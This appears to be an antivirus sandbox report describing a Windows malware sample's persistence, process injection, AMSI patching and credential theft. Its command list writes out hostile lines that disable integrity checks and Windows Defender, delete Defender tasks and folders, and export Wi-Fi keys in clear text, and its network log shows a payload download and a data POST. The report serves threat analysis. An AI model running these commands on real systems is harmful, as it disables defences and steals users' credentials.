Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WindowsUpdateSvc' = '%APPDATA%\svchosttku.exe'
- [HKCU\Software\Microsoft\Windows\Currentversion\Run] '3deda964.exe' = '"%ALLUSERSPROFILE%\3deda964.exe"'
- [HKCU\Environment] 'UserInitMprLogonScript' = '"<SYSTEM32>\cmd.exe" /c start /b "" "%APPDATA%\Microsoft\Windows\Services\wlrmdr.exe"'
Creates or modifies the following files
- <SYSTEM32>\tasks\windows security checks
- <SYSTEM32>\tasks\users\user\windowspushnotifsvc
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\MsSecFlt] 'ImagePath' = '%TEMP%\MsSecFlt.sys'
Creates the following services
- 'MsSecFlt' %TEMP%\MsSecFlt.sys
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Firewall
- Windows Update
- Windows Security Center
- Windows Defender
Injects code into
the following system processes:
- <SYSTEM32>\sihost.exe
- %WINDIR%\explorer.exe
- <SYSTEM32>\runtimebroker.exe
the following user processes:
- firefox.exe
- msedge.exe
Hooks functions
in browsers
- firefox.exe process, nss3.dll module
Patches code
in AMSI dll
- hho2nir6.exe process, Amsi.dll module
- jz8u.exe process, Amsi.dll module
- lf8v.exe process, Amsi.dll module
in NTDLL dll
- hho2nir6.exe process, ntdll.dll module
- jz8u.exe process, ntdll.dll module
- lf8v.exe process, ntdll.dll module
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\securityhealthservice.exe
Searches for registry branches where third party applications store passwords
- [HKCU\Software\Martin Prikryl\WinSCP 2\Sessions]
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
- %APPDATA%\mozilla\firefox\profiles.ini
- %HOMEPATH%\desktop\pmd.cer
- %HOMEPATH%\desktop\contosoroot_1.cer
- %HOMEPATH%\desktop\contoso_1.cer
- %HOMEPATH%\desktop\sdkfailsafeemulator.cer
- %HOMEPATH%\desktop\testcertificate.cer
- %HOMEPATH%\desktop\applicantform_en.doc
- %HOMEPATH%\desktop\weeklysheet1215.doc
Modifies settings of Windows Internet Explorer
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1406' = '00000000'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] '1406' = '00000000'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1406' = '00000000'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '1406' = '00000000'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1609' = '00000000'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] '1609' = '00000000'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1609' = '00000000'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '1609' = '00000000'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '1A02' = '00000000'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] '1A10' = '00000000'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1A10' = '00000000'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '1A10' = '00000000'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '1A03' = '00000000'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2] '1A05' = '00000000'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1A05' = '00000000'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '1A05' = '00000000'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '1A06' = '00000000'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0] '1609' = '00000000'
Modifies file system
Creates the following files
- %TEMP%\2zco31mu.exe
- %TEMP%\mjoo5qx7.exe
- %TEMP%\hho2nir6.exe
- %TEMP%\vyrx7cdx.exe
- %LOCALAPPDATA%\microsoft\syshost.exe
- %TEMP%\msedgeupdate.xml
- %TEMP%\czkl78vq.exe
- %APPDATA%\microsoft\windows\services\wlrmdr.exe
- %APPDATA%\svchosttku.exe
- %TEMP%\8jdq39pj.exe
- %TEMP%\z56aln68.exe
- <Current directory>\socialphoneextractor.exe
- %TEMP%\mssecflt.sys
- %ALLUSERSPROFILE%\3deda964.exe
- %TEMP%\jz8u.exe
- %TEMP%\u08u.exe
- %TEMP%\jj06zhz4.exe
- %TEMP%\9nhj8tya.exe
- %TEMP%\ar7v.exe
- %TEMP%\lf8v.exe
Sets the 'hidden' attribute to the following files
- %APPDATA%\microsoft\windows\services\wlrmdr.exe
- %APPDATA%\svchosttku.exe
- <Current directory>\socialphoneextractor.exe
- %ALLUSERSPROFILE%\3deda964.exe
Deletes the following system files
- %WINDIR%\elambkup\wdboot.sys
- <SYSTEM32>\tasks\microsoft\windows\windows defender\windows defender cache maintenance
- <SYSTEM32>\tasks\microsoft\windows\windows defender\windows defender cleanup
- <SYSTEM32>\tasks\microsoft\windows\windows defender\windows defender scheduled scan
- <SYSTEM32>\tasks\microsoft\windows\windows defender\windows defender verification
Deletes following files that it created itself
- %TEMP%\msedgeupdate.xml
- %APPDATA%\microsoft\windows\services\wlrmdr.exe
- %TEMP%\z56aln68.exe
- %TEMP%\mssecflt.sys
Moves the following files
- from %APPDATA%\microsoft\windows\services\wlrmdr.exe to %APPDATA%\microsoft\windows\services\wlrmdr.exe.slz
Modifies the following files
Substitutes the following files
- %APPDATA%\microsoft\windows\services\wlrmdr.exe
Modifies the HOSTS file.
Network activity
Connects to
- '19#.#51.107.186':80
- '19#.#78.158.107':80
- '19#.#62.199.179':80
- 'google.com':80
- 'bing.com':80
- '62.##.226.232':80
TCP
HTTP GET requests
- http://19#.#78.158.107/2.8.exe
- http://www.google.com/
- http://www.bing.com/
HTTP POST requests
- http://62.##.226.232/zpzp/get.php?ui######################################################
UDP
- DNS ASK google.com
- DNS ASK bing.com
- DNS ASK mo#####.map.fastly.net
Miscellaneous
Searches for the following windows
- ClassName: 'MozillaWindowClass' WindowName: ''
Creates and executes the following
- '%TEMP%\2zco31mu.exe'
- '%TEMP%\mjoo5qx7.exe'
- '%TEMP%\hho2nir6.exe'
- '%TEMP%\vyrx7cdx.exe'
- '%TEMP%\czkl78vq.exe'
- '%TEMP%\8jdq39pj.exe'
- '%TEMP%\z56aln68.exe'
- '<Current directory>\socialphoneextractor.exe'
- '%ALLUSERSPROFILE%\3deda964.exe'
- '%TEMP%\jz8u.exe'
- '%TEMP%\jj06zhz4.exe'
- '%TEMP%\9nhj8tya.exe'
- '%TEMP%\lf8v.exe'
Executes the following
- '<SYSTEM32>\schtasks.exe' /create /xml "%TEMP%\MsEdgeUpdate.xml" /tn "\Users\user\WindowsPushNotifSvc" /f
- '<SYSTEM32>\bcdedit.exe' /set {current} loadoptions DDISABLE_INTEGRITY_CHECKS
- '<SYSTEM32>\bcdedit.exe' /set {current} nointegritychecks on
- '<SYSTEM32>\bcdedit.exe' /set {current} testsigning on
- '<SYSTEM32>\bcdedit.exe' /set {current} disableelamdrivers yes
- '<SYSTEM32>\takeown.exe' /f "%ProgramFiles%\Windows Defender Advanced Threat Protection" /r /d y
- '<SYSTEM32>\icacls.exe' "%ProgramFiles%\Windows Defender Advanced Threat Protection" /grant administrators:F /t /c /q
- '<SYSTEM32>\cmd.exe' /c rd /s /q "%ProgramFiles%\Windows Defender Advanced Threat Protection"
- '<SYSTEM32>\takeown.exe' /f "%WINDIR%\ELAMBKUP" /r /d y
- '<SYSTEM32>\icacls.exe' "%WINDIR%\ELAMBKUP" /grant administrators:F /t /c /q
- '<SYSTEM32>\cmd.exe' /c rd /s /q "%WINDIR%\ELAMBKUP"
- '<SYSTEM32>\takeown.exe' /f "<DRIVERS>\wd" /r /d y
- '<SYSTEM32>\icacls.exe' "<DRIVERS>\wd" /grant administrators:F /t /c /q
- '<SYSTEM32>\cmd.exe' /c rd /s /q "<DRIVERS>\wd"
- '<SYSTEM32>\schtasks.exe' /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Unknown" /F
- '<SYSTEM32>\schtasks.exe' /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Update Configuration" /F
- '<SYSTEM32>\cmd.exe' /c schtasks.exe /Query /FO CSV /V > "%TEMP%\~DF4C2A1B.tmp" 2>&1
- '<SYSTEM32>\schtasks.exe' /Query /FO CSV /V
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --no-sandbox
- '<SYSTEM32>\cmd.exe' /c "netsh wlan export profile key=clear folder="%TEMP%\dia_wifi_tmp\" 2>nul"
- '<SYSTEM32>\netsh.exe' wlan export profile key=clear folder="%TEMP%\dia_wifi_tmp\"
- '<SYSTEM32>\takeown.exe' /f "%ProgramFiles%\Windows Defender Advanced Threat Protection" /r /d y' (with hidden window)
- '<SYSTEM32>\icacls.exe' "%ProgramFiles%\Windows Defender Advanced Threat Protection" /grant administrators:F /t /c /q' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c rd /s /q "%ProgramFiles%\Windows Defender Advanced Threat Protection"' (with hidden window)
- '<SYSTEM32>\takeown.exe' /f "%WINDIR%\ELAMBKUP" /r /d y' (with hidden window)
- '<SYSTEM32>\icacls.exe' "%WINDIR%\ELAMBKUP" /grant administrators:F /t /c /q' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c rd /s /q "%WINDIR%\ELAMBKUP"' (with hidden window)
- '<SYSTEM32>\takeown.exe' /f "<DRIVERS>\wd" /r /d y' (with hidden window)
- '<SYSTEM32>\icacls.exe' "<DRIVERS>\wd" /grant administrators:F /t /c /q' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c rd /s /q "<DRIVERS>\wd"' (with hidden window)
- '%TEMP%\jz8u.exe' ' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "netsh wlan export profile key=clear folder="%TEMP%\dia_wifi_tmp\" 2>nul"' (with hidden window)
- '%TEMP%\lf8v.exe' ' (with hidden window)
